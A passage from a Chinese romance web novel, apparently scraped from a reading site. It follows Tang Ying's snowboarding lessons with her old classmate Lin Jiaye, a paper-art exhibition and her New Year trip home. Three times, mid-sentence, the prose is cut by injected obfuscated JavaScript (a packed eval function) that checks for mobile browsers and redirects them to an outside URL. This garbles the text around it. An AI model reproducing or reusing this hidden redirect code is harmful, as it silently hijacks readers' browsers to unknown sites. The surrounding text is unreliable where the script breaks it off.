林家烨看着他笑,“闭馆你也穿得人模人样来,累不累?” 程倧扭头看,一口烟刚吸进嘴里,半天记不得吐出来。 “你车呢?这大冷天的就骑个单车来?”他弯腰,看单车杆子上的logo,“还是辆共享。” “共享怎么了?”林家烨说:“省钱又省力。” “......” 程倧把气呼出来,回他:“我是门面,万一合作方过来突击检查,我不去接待,难道还指望你?” 林家烨常年不在国内,这次能回来已经是不错了。 十二月份的京北很冷,林家烨等着程倧把手上这根烟抽完,推着他进了门。 门口直通展区,场馆已经被布置得七七八八,灯光、物料、装置都到位,林家烨扫了眼看了个大概。 展区侧后方的隔间是两人的工作间,门口用幕布围着。 程倧进去倒了杯水喝,“不是要放个长假吗,今天怎么来这儿?” 林家烨桌上拿了个图纸看,说:“路过顺道看看。” 容艺巷离这儿隔不过两条街。 程倧又问:“假期过的怎么样?” “给自己找了个兼职。”林家烨说。 “……兼职?程倧本来低着头在发消息,听到这句抬头,“谁说要请假放松的?” 林家烨笑了声:“对我来说那就是放松了。” 程倧没往下问,拿着物料样品图找林家烨对。他今天好不容易来一趟,程倧不能让他再随便跑了。 - 唐迎睡前把窗打开透气,风居然不像之前那么冷了,有回暖的迹象。 她想起大山,那里白雪皑皑,一望无际。风扑在脸上也不是刺骨的冷,反而很畅快。 唐迎拿起手机发消息:“都什么时候在雪场?” 接近傍晚十二点,她没指望林家烨能多快看见,但对面没隔几分钟便回复了:“不规律,你来之前问一下我吧。” “行。” 上次去雪场人满为患的场景还在眼前,这次唐迎学乖了,打算挑一个工作日去,顺道问了小梅要不要一起。 小梅问:“我要是和你去了,店怎么办?” 唐迎没所谓:“关一天呗。” 小梅两根细细的眉毛皱起来,半天没憋出一句话,最后只说:“你自己去吧,我留下看店。” 唐迎点点头,这事儿就算过去了,结果过了会儿听见小梅小声咕哝:“三天两头地关店,这得失去多少潜在客户......” …… 当天,唐迎起了个早出发。 雪场已经有寥寥的人,像小黑点分布在白色的画布上。唐迎到大厅休息区找林家烨汇合。 林家烨坐在不远处的矮沙发上,长腿屈着,没戴帽子,黑色的头发梢扬着,和旁边站台的工作人员聊天。 唐迎走过去,林家烨招呼她:“来了?” 唐迎点点头,随口问:“今天有约其他学员吗?” “没,就你。”林家烨说。 他雪服外面的拉链松松垮垮,露出一小截里头纯色的打底衫。唐迎想起上学的时候,林家烨一直都衣领整齐、干净周正。 现在整个人都松弛,头抬着仰视她,黑色的眸子里倒映着她的身影。 比上学那会儿看起来顺眼了不少,她想。 林家烨站起来,问:“上次教你的东西,还记得吗?” “当然。”唐迎说。 林家烨低头去拿板子,“你过来隔的时间太久了,新手最好连续来,学习效果更好。” 唐迎觉得这都是维护客户的话术,敷衍答着:“看吧。” “看什么,”林家烨说:“雪季就这么几个月。” 唐迎弯弯唇角,说“知道了”。 教学按部就班地进行,唐迎觉得自己进步提升了不少。 上次是第一次,大部分时间她都被恐惧和紧张支配,汗水绞着汗水,真正学到的东西不多。 相比之下,这次自如很多,加上戴的护具好使,玩得更加没边儿了,有了一点真正滑行的感觉。 刚学会用落叶飘滑行一小段距离,换方向还换不清楚,唐迎已经想要尝试更远的路线了。 她指指山坡下面,“我能滑到最底下吗?” 意思是她自己滑到最底下,不需要他再看着。 林家烨离她的距离始终维持在几步之内,不会远,也不会近,她要摔的时候就伸手拉她一把。上一次她换方向有些偏,他正用手臂撑着她。 这条是初级道,并不会太长,但对于一个只上过不到两节课的小白来说,要独立完成还是有些勉强。 林家烨盯着她的腿看了一会儿,在考虑。 唐迎指指旁边,“你看别的教练和学员,没有像我们这样离这么近的。” 林家烨一愣。 他没说话,但目光里显然有什么东西沉了。唐迎犹豫着要不要说些什么挽回一下,林家烨盯着她脸上别扭的神色看了片刻,然后手指缓缓松开了。 唐迎觉得那股紧实的支撑力一下子从身上消失了。 她还想再说些什么,但已经来不及,脚下的板子开始往下滑。 她只能暂且压下心里那股不舒服的感觉,深吸一口气,将注意力放到滑行上。 耳边是呼啸的风。 滑下去的路上,两边的景色唐迎是一点儿没顾上看,只颤颤巍巍地瞟板头。 又不敢把头弯得太低,脑子里想起林家烨说的正确滑行姿势,上身直了直,强迫自己把目光从板子上移开。 过了这一下,像过了一个心理恐惧的坎,后边的路越滑越顺。 风刮得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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和对方磨了大半节课,到最后级长也被她绕懵了、说烦了,摆摆手让她注意点就走了。 这是她上学时数不清的和老师打赢的第几场仗。 唐迎双手靠后撑在雪地上,仰头看着他,唇角微翘:“你脸这么臭干什么。” 林家烨蹲下来,“你是不是从小到大不管学什么,都喜欢和老师对着干。” 唐迎的脸一热,听出了他的意思——他是教练,她在跟他对着干。 她说:“你又不是老师,你最多是个班长。” 林家烨笑笑,“你还知道我是个干部,有管人的权力?” 这句话和唐迎记忆里的声音重叠在一起,林家烨的眼睛深不见底,她心里突然有奇怪的感觉。 林家烨上学的时候,也是这样吗? 林家烨没给她思考的时间,“说话。” 唐迎呆呆问:“说什么。” 视线从他的嘴唇移到鼻尖,高高挺挺的干净。 5. 第 5 章 第二天是周一,唐迎给小梅放了一天假,当做她昨天独自看店的补偿。 到晚上六点,她提前收了工,去贝桃定的餐厅。 这座节奏快的城市到了新的工作周又是一片死气沉沉,高耸的办公楼里的灯常亮着,大街上却看不到几个人影,直到夜深人静时,人流才陆续涌出,疲惫不堪的面孔在夜色中浮现。 这片商业区和“容艺巷”只隔了两条街,唐迎很快摸到火锅店的位置,贝桃已经早早等在那里。 和平日里的贝桃不太一样,她今天没穿她最爱的那套深蓝色职业女性套装,身上都是舒适厚实的面料,很朴实。脸上也干干净净,一点妆都没化。 唐迎笑了,“今天不营业啊?” “别提了,”贝桃长叹一口气,恹恹的,”昨天应酬给我喝伤了,今天连一点收拾自己的力气都没有。” “周末还应酬?”唐迎问。 贝桃:“客户临时说要拟定一个方案,我没推掉,结果过去之后,负责人是个酒鬼,拉着我喝得没边儿,好好的周日都被这倒霉工作给毁了。” 贝桃又说起公司里的领导,分配干不完的活是日常,最近带的客户也没分寸,每次应酬得好几天缓过来。 唐迎的世界离这些很远,她夸:“你真厉害。” 贝桃:“哪儿厉害?” 唐迎说:“这里面随便一件都能把我压垮。” 贝桃大口吃着菜,含糊不清道:“你开个店舒舒服服的,又没有非要留在京北,不用经历这些。” 唐迎忽然问:“京北就这么好吗?” “好啊,”贝桃忽然说,“过两天我要去相亲了。” 唐迎皱了下眉:“相亲?你别唬我。” 贝桃说:“没开玩笑。” 贝桃换对象很频繁,爱玩,爱喝酒。唐迎说过佩服她,能动不动就在酒吧里和素不相识的帅哥眉来眼去,她和相亲这种传统刻板的择偶方式搭不上边。 “唐迎,我快二十八了,”热气飘到贝桃的脸上,她说到一半,突然笑笑,“也对,我就是去随便看看,你别当真。” 唐迎没说话,贝桃见她心不在焉,拿手机给她发了个链接,“这周有个新展,就在旁边的艺术中心,等会儿我们吃完了过去?” 唐迎点开,见标题上面写着《纸艺万象:艺术的轻悠》。 是一个关于纸张艺术的主题展览,下面贴了几张展馆图片和展区的主题分布。 这展没听过,展馆场地从外面看起来也不大,所以唐迎没报太多期待。贝桃想看,她就陪着。 验票进场,入口门廊区是用纸做出的一个沉浸式空间,天花板是白的,地面也是白的,空间里的一草一木都是白色的,像个白色的洞穴。 脚下是用一张张薄如蝉翼的白纸铺成的“地毯”,层层叠叠,杂乱无章。 前面像是没有尽头,走到回廊深处还没进入下一个主题,唐迎回忆起在外面看这栋楼的样子,小小一座平房,她保守估计光是回廊区就占了半个场馆的面积。 通常,展览会用一个简单的场景作为引入,但这里却用了接近二分之一的空间来做沉浸式的引导,场地跟不要钱似的。 她们来得晚,场馆里已经没有多少观众,脚步声只能听到自己的。 贝桃想快点走出这片“迷宫”,唐迎看着一片雪色的前方,步子却迈得越来越慢。 到了拐角,来到了第二个区域,主题是用纸塑造出的不同纹理,多为单独的纸艺品,经过揉捏、折叠、拼接,和上色,简单的纸张在艺术家的手里变成了不同的样子,是树枝、铁面、甚至是建筑物的模型,由小到大,由简至繁。 墙面上张贴着巨大的纸花,可以触摸其凸起的褶皱。贝桃平日里用香水,对气味很敏感。她凑近纸花闻了闻,冲唐迎喊:“这上面还有花香。” 最后一个展区是互动装置区,桌面上拜访了很多设计精巧的纸面机关,观众可以上手互动,再后面则是体验区。 一个扎马尾的穿着工作服的女孩站在那里,年纪不大,看起来还是大学生。 “你们好,我是这里负责引导的志愿者。请问需要体验纸球制作吗?” 贝桃摆摆手,刚想说自己不擅长这个,但看到唐迎的表情,她兴致好像比刚进馆的时候好很多,于是点了点头。 女孩领着她们坐下,桌上放置着干净的白色球体,还有一沓厚厚的白纸。 “这个制作其实很简单,五分钟就可以做好。你们可以将纸张随意揉搓,再用白色的油漆刷到球体上,边边角角上好色,就会擦出惊艳的纹理效果。” 女孩边说,边拿起一个做好的样本给她们展示。 制作的时候,贝桃感叹:“没想到简简单单的白纸能做出这么多花儿来,这应该算你半个同行?” 唐迎谦虚:“人家比我厉害。” 她私下里确实也用纸也做过类似的,但因为纸和水天然相克,又易折易烂,实用性较差,后面就不研究了。 贝桃说:“我觉得你做的也不差,术业有专攻嘛。” 唐迎笑了下,没理这恭维:“专心做你的。” 引导人员教完她们步骤就回去站岗了,见她们手里的东西做得有眉目了,又回来了。 她看那纸球虽然简朴,细微处却有雕琢,色彩也漂亮,即便用着入门的工具,也被做出了丰富的层次和体积感。 女孩有点惊喜,问唐迎:“姐姐,你是有美术功底吗?” 唐迎本来想随便回,但贝桃帮她说的很清楚:“她是开容器艺术品店的,大艺术家。” 女孩问:“是个人品牌设计师吗?” 唐迎这回必须答了,她告诉女孩自己店面的位置,离展馆不过两三条街。女孩也自报家门,说自己正在本市美院就读艺术管理专业,没课的时候就来展馆当志愿者。 她还想和唐迎聊些什么,唐迎答得有来有回的,但其实兴致不高。 贝桃朝女孩眨眼:“下次如果有类似的展会可以邀请她,她做的东西也不赖。” 女孩好像也有这个意思,说去找她们展馆的负责人过来。 唐迎皱了下眉:“负责人?” 女孩已经朝后面去了,唐迎觉得这事儿超出了她的预想范围,想走,被贝桃一把拽住胳膊拉回来。 唐迎问:“你干什么呀?” “你干什么,”贝桃朝女孩离开的方向瞥一眼,“大好的机会,你确定不要?” - 唐迎做东西,踏踏实实地做,再卖出去,换个吃喝无忧,仅此而已。 以前也有同行的朋友问过她,类似活动有没有意愿?唐迎一一拒绝了。 吃饭、谈合作、运营、营销,哪一样不需要精力,哪一样又不需要社交,她嫌麻烦。 唐迎从小就是这样,给自己定了性。若真有一天,她熬不过大城市的苦,那就放手。 回棉城找周兰英和唐勇军,日子一样过,棉城也很好。 贝桃反问:“你难道不爱自己的作品,不希望它们被更多的人看见?” 唐迎问:“万一他们看见以后,不喜欢呢?” 贝桃笑了:“原来你是怕这个。” “喜欢如何,不喜欢又如何?你就不是你了吗?”她说。 唐迎低头看着地面,“我可没那么看得开。” “你看得还不开啊,你心最大了,”贝桃撞了一下她的胳膊肘,冲她笑,“在我眼里你就是这样。” 唐迎被一顿说,没脾气了,也不着急走了。 “放宽心,八字还没一撇呢,说不定人家老板压根看不上你的作品......” 话虽如此,唐迎在等待的几分钟里还是煎熬,一直坚守的小领地突然间破了一个小口。 展馆接近出口处,墙边挂着一块深蓝色幕布,边角缝隙透出白色光亮,看起来在后面另设有一个空间,与布置精美的展区分隔开来。 隔了几分钟,从幕布后面走出来一个人。 那人头发梳得很整齐,穿一身正式的西装,脸型短宽,眼睛炯炯有神,面相亲切友好,他过来招呼:“容艺巷是吗?” 唐迎点头:“你好,我叫唐迎。” “我听说过你的品牌,上个月我还有朋友在那里定制过花瓶,说是风格很前卫,”他微微笑着说,“没想到担任设计的老板本人这么漂亮。” 面对礼貌性的夸赞与寒暄,唐迎扯了扯嘴角。 眼前的男人,唐迎看他的第一眼,就知道他和贝桃是同一种人,工作精英、洽谈高手——是她最不擅长应付的那种人。 贝桃适时将话茬接过来,“她的店开了有两三年了,口碑一直不错。” 男人听了,挂着吟吟笑意,顺势和贝桃探讨起来。问店面规模多大?入行几年?创作风格什么样? 全程,唐迎只挑一些专业性的问题回答,多数时间听着对方与贝桃扯到天南地北。 俩人都是人精,相谈甚欢,气氛融洽,从艺术展会聊到周边地段的客流量。 贝桃常年混迹酒桌,对这样的场合游刃有余,又有八百个心眼子,聊了没几句便反客为主,笑吟吟地问起展馆办一次展的条件和标准。 程倧说:“像你们今天看到的这个就属于主题展,是由多个纸艺艺术家的作品组成、联合举办的。除此之外,如果条件符合的话,我们还会办个人作品展。” 贝桃问:“个人作品展的要求不是一个档次吧?” “是的,这类展围绕艺术家个人的职业生涯展开,需要其在领域内很活跃,手下作品呈一定规模。”程倧说完,扭头看了看唐迎。 唐迎回了他一个寡淡的点头,她对自己的履历和积极性心知肚明——像这样的个展,以她的条件基本没可能,可以排除不做考虑。 男人看她的反应,思考了一会儿,说:“其实我们明年上半年刚好计划举办陶艺的主题展,正在物色合适的艺术家。不管是名家还是入行不久的新秀,只要有符合条件的作品,都是可以参展的。唐小姐的容器店里,应该有陶瓷相关的作品吧?” 唐迎:“有的,不过不多。” 她的店里,什么样材质的瓶罐都有,陶艺只是其中一项,称不上是最擅长和最喜欢。 男人点点头,“明白。” 他见她兴致不高,换了个话题:“今天这个纸艺展览,看下来感觉如何?” 唐迎点点头,答得飞快:“很好。” 男人一愣,唐迎接着说:“场地是小了些,但内容很充实。” “我们每一次展览在策划上都很用心,这一点不会有差错。”男人轻松一些了,带着笑意。 唐迎主动问:“策展方是你们公司自己的团队?” 男人点头:“是的。” 说是团队,其实整个设计方案都由那一个人主导,其他人只是负责将方案跟进和落地。 “你们的团队很会拿捏人心,整个展览走完一程,像读完了一个故事,意犹未尽竟还想再听。” 男人闻言一怔,抬头看唐迎,见她唇角挂着漫不经心的笑,慵懒,却不吝啬夸赞。 唐迎对对方的心理活动毫不知情。 她再次打量起展馆环境来——灯光和氛围设置的恰到好处,细节处都布置得很完整,置身其中,仿佛被柔软地包裹住了。 刚刚看展的时候,她全程没走神,把展览中每一件纸艺品都认认真真地看完了。 她自己的店里遇到过很多走马观花的顾客,她对此总是会感到无力。 可这里却有一种魔力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165420|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展示和陈列循序渐进、细水长流,让普通观众也能沉下心来。 男人打量着她,说:“如果日后真的有机会合作,展陈设计这一块您放心,一定最大程度体现您作品的特点和价值。” 话题又回到了合作上,唐迎收回打量展厅的视线。 贝桃说:“谢谢,我们回去一定好好考虑。” 男人抽出两张名片递给她们,“有需要的时候联系我。” 唐迎接过来,见上面写着“程倧”两个字,职位是“触域”艺术空间的商务拓展总监。 她扫过一遍,随手将名片放进大衣兜里。 - 转眼就到了十二月份下旬,元旦将至。 这条街提前挂上了红红的灯笼和中国结。京北作为一线城市,市容市貌从来都是重点关注对象,每逢到了节假日,街边的风貌就会焕然一新。 小梅也是如此,她今天穿了一件红色毛衣,明亮的颜色将她的脸蛋衬得红扑扑的。 唐迎问起来,她不好意思地说是前两天和朋友逛街时买的,新年要穿新衣,元旦还和朋友约了地方,要出去跨年。 “姐,你觉得我这个口红色号怎么样?会不会太红了点?” 小梅抿了抿唇,希望能将口红晕染得更自然些,有些担心。 她对化妆向来不在行,来了大城市有好几年了,愣是没把这项技能学透。 她的口红一共就那么几支,来来回回地用,手上这支还是为了跨年新入的,是她以前舍不得买的牌子。上了唇之后又觉得太过红艳,涂也不是,卸也不是。 唐迎说:“不艳,挺好的,过年就应该这样。” 小梅转身过来,看见唐迎的嘴唇饱满圆润,眼型细长上挑,忍不住说:“迎迎姐,你真好看。我要是有你这么好看就好了,我就不化妆了。” 唐迎笑了:“好看有什么用呀?” 小梅:“怎么没有用呀?” 唐迎随口开玩笑:“不过空有一副好皮囊,其他没有一样我是做成了的。” “不是的,”小梅摇摇头,“你手艺很好,很爱钻研,不是空有一副皮囊。” 小梅想了想,又认真说:“而且,皮囊也是属于你的一部分,能将好皮囊经营好,那也是一种本事。” 唐迎一愣。 这句话除了父母和她自己,恐怕没有其他人会这么认为。 看展那天,贝桃不理解她为什么不愿意抛头露面,唐迎知道那是因为她并没多珍惜自己这张脸,她从小到大听到最多的夸赞就是“好看”了。 美貌似乎带给了她什么,却又让她失去更多,像慢性毒药。 听得多了,连唐迎自己都几乎认同——除了这张脸,她一无是处。 小梅依旧局促不安,在镜子前不断用手指摆弄着刘海,怎么弄都不满意。 唐迎正在看她,小梅不自然地对着镜子笑,“我总觉得自己土土的,来京北已经三年了,还是融入不了这座城市。” 唐迎冲她招手:“你过来我看一下。” 小梅顺从地走过来。 唐迎说:“弯腰。” 小梅弯下腰。 唐迎伸出手指,帮她将唇部的口红边缘抹得朦胧一些。 眼线画的也是半吊子水平,唐迎在上面补了两下,描摹得细长,配上小梅的单眼皮,一双眼睛显得古朴又自然。 最后,唐迎帮她把厚重的刘海梳到两边夹起,露出饱满的额头来。 就这么寥寥几下改动,小梅整个人一下子就比刚刚看起来要精神不少了。 唐迎:“雀斑可以不遮,这是你的特点,要留着,很好看。” 小梅有些不好意思,“真的?你觉得好看?” “当然,每个人都有自己的好看,不是你和我说的吗?”她朝小梅眨眼睛,“皮囊也是属于自己的一部分,所以你要爱它。” 小梅的脸一下变红了。 ...... 晚上,唐迎坐在沙发上,查询农历春节是几号。 棉城和京北相隔不远,开车也就三四个小时。相比于她的一众“北漂”朋友,唐迎一般没有抢高铁票的烦恼。 她亲自开车,每年都回,年年不落。 如果碰上容艺巷的生意没有那么紧俏的时候,甚至会一年回去两次。周兰英和唐勇军也打过电话来,说是他们在老家好好的,叫唐迎不用回得这么勤,在京北多看看大城市的风景、给店铺上点儿心。 唐迎不喜欢听这些,她想念棉城的山,天气一冷,山上的植被就会挂满冰渣子,远远看上去像披了一层雪被;棉城的湖,家门口就有一汪,每年到了冬天都会结冰,小时候她经常和邻居家的孩子在上面比赛谁滑得远。 棉城还有疼她的爸妈、她长大的房间、除夕夜一起包的饺子,这每一样京北都没有。 小梅在朋友圈发了一条过年期间闭店的通知。唐迎松垮惯了,别人的年假只有七八天,她想要在棉城待久一点,就让小梅把闭店日期改成了三周。 这条朋友圈紧跟着下面一条是林家烨的,他的头像不知道什么时候换成了一片雪山。 林家烨发了一个抢回棉城高铁的链接,唐迎给他点了个赞,又点进链接里助力了一下。 隔了一会儿,林家烨给她发消息:“过年回去?” 唐迎下意识回复:“嗯,开车回。” 发完消息,唐迎突然有点后悔,她说得太细了。那头很久没有再回复,像真的只是随口问了句。 唐迎觉得这样也不是事儿,还是问问:“你抢到票了吗?” 林家烨回:“没呢。” 唐迎:“到底能不能抢到呀?” 过了一会儿,林家烨回复了:“你载我一程吧,之后给你上课不收钱。” 6. 第 6 章 临近年关,唐迎想趁回棉城之前再叫贝桃出来聚聚,可好几次都没成功,因为贝桃没时间来。 这个女人最近行踪很神秘,唐迎发了好几次信息,对方都一副很忙的样子,问起来就是含糊其词。 公司年底忙点倒也正常,唐迎知道贝桃在工作上向来不含糊,没再问了。 回棉城的前一天,唐迎给小梅多放了一天假,让她早点回家收拾行李,自己则留在店里,花了一整天把商品包好盖好,蒙上布防尘。 第二天下午,唐迎选了个日头最盛的时段出发。 她喜欢在开车的时候看沿途风景,三点出发能赶上夕阳,到的时候又不会太晚。 接人的地方约在离她公寓不远的地方,唐迎远远瞥见一个人影。 那人似乎来得挺早,站在一颗冬枯木下,身形和旁边树干一样修长挺拔。 他低着头看手机,全身上下只有一个双肩包,连箱子都没拿。 唐迎到他跟前摇下车窗,“等多久了?” 林家烨抬头,说:“不久。” 唐迎开了锁:“上车吧。” 林家烨车后打开后备箱,想把双肩背包放进去。掀起盖时,他眉间一跳。 各式各样的礼盒、特产,叠成一摞摞放在后备箱里,小小的空间几乎被塞满。 唐迎这才想起来,冲他喊:“你放后座上吧,后备箱没位置了。” 林家烨问:“这么多,送人的?” 唐迎摇头,“给家里的。” 每年她回棉城前都会置办很多东西,补品、特产、茶叶,周兰英嘴上说着不要,其实心里很喜欢。 所以唐迎年年都带。 林家烨合上车盖,把背包放后座了。 他上车之前,唐迎问他:“会开车吗?” “会,”他说完一顿,又补充:“驾照先考了,等有车的时候也不用再花时间学。” 唐迎点点头,也不客气,说:“那你来开?” 林家烨说:“行。” 唐迎坐上副驾,把座椅靠背往后压了压,挑了个舒服的姿势。手指在操控板上点了点,播放了一首她最喜欢的纯音乐。 林家烨开车开得意外地很平稳。 唐迎今天把自己包裹得很严实,帽子手套一应俱全,车内还开了暖气,什么也冻不着。 窗外,一颗颗白蜡树掠过,被日头那么照着,在冬日里仍显得生机,唐迎说:“我想开个窗。” 林家烨:“开。” 唐迎摇下车窗,没了窗户的遮挡,风就灌进来,吹得她鼻尖凉凉的。 唐迎问:“你准备在棉城待多长时间?” “两三天,不会太久,”林家烨正侧头看后视镜,“我妈年后有一个调研,要来一趟京北,我到时候和她一起回。” 唐迎问:“赵老师身体还好吗?” “她很好。” 林家烨的母亲是三中教师,教的不是唐迎他们班,但在年级里小有名气,班上人都知道。带的平行班,年年重本率却都稳定在前三。 唐迎去多功能大教室里上过她一节物理公开课,对她的面容有模糊的印象。 林家烨:“前些天我跟她说起你也在京北,她还问起你怎么样。” 唐迎有些惊讶:“她认识我?” “认识,”林家烨声音平稳,仿佛在说一句很平常的事:“你那么不守规矩,年级里哪个老师没听过两声你的名字。” 唐迎笑了一下:“从姜汕嘴里听到的?” 林家烨安静了一会儿,然后说:“也许。” 唐迎说:“那糟了,她对我的印象一定奇差无比。” 林家烨没否认也没肯定,唐迎也不想再继续这个话题,没有人再说话。 过了许久,林家烨动了动手腕,虽然动作很轻,但唐迎还是注意到了。 暖气从窗户边儿上一点点流失,林家烨扣着方向盘,手指有点泛白。 他面上倒没什么反应,唐迎见他神色如常,黑眸目视前方,再往上是深邃的眉骨和整齐的发梢。 从上车到现在,他没说过一句拒绝的话。 唐迎沉默了一会儿,然后把车窗关上了。 林家烨问:“不看了?” 唐迎说:“看腻了,树都长得一样。” 林家烨没再说什么,车里很安静,唐迎慢慢闭上眼睛。 意识昏沉之前,面前光影暗了暗,有人把遮光板打了下来,又把音乐声调低了。唐迎忍不住睁开眼睛,又很快闭上。 前些天去的那场纸艺展和现在的感觉好像。 一种安心的,被包裹住的感觉。 她在黑暗中动了动眼睫,有些烦躁,反而有些睡不着。 ...... 等唐迎再次睁开眼的时候,天色已经暗了。 唐迎坐直身体,眯起眼睛问:“到哪里了?” “快了,还有五公里到家。”林家烨说。 唐迎还没完全清醒,一愣:“你家还是我家?” 林家烨笑了一下:“我家。” 他在她耳边笑,唐迎觉得耳朵有些痒,抬手揉了一下。 林家烨看她,“耳朵不舒服?” 唐迎摇摇头,“没有。” 林家烨说:“我下车之后换你来开?” 唐迎点点头。 林家烨又问:“清醒了吗?” “放心,这几步路我不会睡过去。”唐迎说。 她从车门的储物格里拿出一瓶矿泉水,喝下去几口,拿了瓶新的递过去,“你要吗?” “要,”林家烨没看她,“等下一个路口。” 唐迎的手还举在空中,从这里能看到他专注的侧颜。她安静半晌,低声“嗯”了一声。 车子下了高速公路,棉城的夜晚是热闹的,虽然天气冷,街头巷尾却很多人,夜市小摊应接不暇,哪哪都是烟火气。 到了区楼下,唐迎下车,林家烨从驾驶位出来,她坐进去,看着林家烨:“代我向赵老师问好。” 林家烨也站在外面看着她:“进去坐坐?” 唐迎瞪大了眼睛,进去做什么?她为什么要进去坐? 林家烨面不改色心不跳,像谈论天气一样平常,“赵老师很久没见往届毕业生了,何况她对你的印象很深。” 唐迎狐疑地打量着他,却见他神色平整,黑眸淡淡盯着她看,耐人寻味的专注。她胸口忽然升起一股奇怪的感觉。 唐迎说:“我不去了,我怕你骗我。” 林家烨笑了:“我怎么骗你?” 唐迎:“万一赵老师很讨厌我,我就过不好今晚了。” 她低头看了眼时间,“我要回去了。” 林家烨直起腰,看着她的车远去,直到驶出视线之外。 - 棉城老城区的夜路很好走,路灯亮得刚刚好,既不刺眼也不阴森,唐迎上学的时候走过无数次,一点也不害怕。 到了小区楼下,唐迎没直接进去,先拐进了门口一家面馆。时间有点晚,她没让家里人给她留饭。 唐迎打开手机,界面突然震了震,一条消息弹出: ——“我订婚了。” 唐迎盯着这四个字,以为自己眼花看错了。 “您的面好嘞,小心热气!”面馆老板端上一碗热腾腾的面,唐迎已经无暇去看,她迅速拨了贝桃的号码过去,“嘟嘟”的忙音响起。 她又反复打了几遍,无果,这才缓缓放下手机。 小面馆的门不顶风,唐迎坐在座位上打了个冷战。碗里的面吃了没几口,就没了胃口。 等到了家,家门大敞着,唐迎探头喊:“怎么门都没关?” “回来了?”唐勇军快步从里面走过来,“这不你要回来,提前给你开门吗?” 唐迎扯扯唇角,“我都说了,回来的时间没个准数的,这么冷的天敞着门,给你冻生病了怎么办?” 唐勇军摆摆手:“我身体好不怕冻。” 老爹就这个性格,唐迎知道和他争辩无用。她把大包小包的东西放地上,又找出来一件递给他,“给你带的球拍胶皮,蝴蝶牌的。” 唐勇军为人务实、生活寡淡。平日里照顾家里生意,没什么其他的娱乐活动,除了和小区里其他大爷大妈打打乒乓球。 就这么一个朴实无华的爱好,从唐迎小时候延续到现在。 说是业余,这老头却还挺认真对待,不买一般的成品拍,连胶和底板都要自己配,这么多年每回换拍都折腾。 他节省一辈子,稍微贵点儿的拍子就不肯花钱,唐迎想着趁着过年回来,帮他把这心事了了。 唐勇军看着拍子,眉头高高皱起,“买这么贵的做什么。” 唐迎无所谓地说:“东西好用不就行了?” “就用你开店挣的那俩钱?给自己花都不够。”唐勇军说。 唐迎转转眼睛,说:“没专门给你买,上回路过体育用品店,看见了顺带捎的。” 唐勇军:“顺带捎的给买了我看了那么久的系列?” 唐迎冲他弯弯眼睛,不说话了。 唐勇军走到橱柜边上,把东西放在最上面一层,唐迎问:“不装上吗?” 唐勇军说:“先放着。” 唐迎瞅他,“不像你的作风啊。” 唐勇军摆摆手:“近期用不着的。” 唐迎眨眨眼,往前两步堵住他去路,“怎么用不着了,你不是天天和楼下李叔约球吗?” “再说吧,过完年再说。”唐勇军揉了两下右胳膊,转身忙别的去了。 唐迎盯着他的背影,觉得有些奇怪。 周兰英在房间里看小品,唐迎进去的时候,她正逗得直乐。 唐迎抱着胸靠在门框边上站好了,周兰英看见她,闭了电视节目,问她什么时候回来的。 她摸摸唐迎的手,看是不是冻着,“夜路不好开吧?” “开得可顺了。”唐迎两眼弯弯,面颊红润,冻不冻的没看出来,反而显得精神好。 毕竟这一路上她摸方向盘的时候屈指可数。 唐迎挽着周兰英的胳膊进客厅,周兰英个子不高,唐迎高中那会儿就过了168,比周兰英高出半个头。 以前周兰英头发乌黑乌黑的,还很亮,但最近有了几缕白发,唐迎看到没说话,拉着她到玄关去。 带回来的东西都堆在那里,变成一座小山。 唐迎蹲下来,和周兰英都一一说好,哪些是闲暇时候的零食,哪些美容养颜,哪些强身健体。 周兰英抱怨她:“每年都买这么多!你去年带回来的我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165421|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都没吃完。” 唐迎说:“吃不完就挑爱吃的吃完。” 周兰英笑了:“那不爱吃的呢?” 唐迎想回她,不爱吃的就放着或者扔了,但这么说周兰英肯定会说浪费,就没吭声。她其实也不知道怎么做最好。 唐迎有些自知之明,除了买些日用补品孝敬他俩,她也没有别的更大的本事。 ...... 除夕夜这晚,大街上店铺都歇了,却不冷清,家家户户都灯火通明。 老城区的年味儿更重,还没到零点,外面就已全是烟花炮竹声。 饺子包了好几种馅儿,因为唐迎爱吃酸菜和三鲜的,周兰英和唐勇军吃不惯,但每年唐迎回来的时候还是照样做。 唐迎走到厨房里要帮忙,被周兰英用手挡回来:“别过来捣乱。” 唐迎有点儿不满:“我想帮帮你嘛。” “你那艺术家的手,金贵着,”周兰英冲她努努嘴,“去客厅等着吧。” 小的时候,周兰英就喜欢捧着唐迎的手看,嘴里念叨着,说咱姑娘不仅长得水灵,小手也细细白白嫩嫩的。 后来唐迎毕业做起容器这行,每年回来,周兰英就更不让她碰家务活了。 唐迎突然想起来,这么多年他俩似乎都是这样,没变过。 周兰英和唐勇军没上过大学,唐迎上学那会儿,他们就盼着她能学出点儿名堂。可唐迎一点儿这方面的天赋都没,反而课外课余的动手能力很厉害。 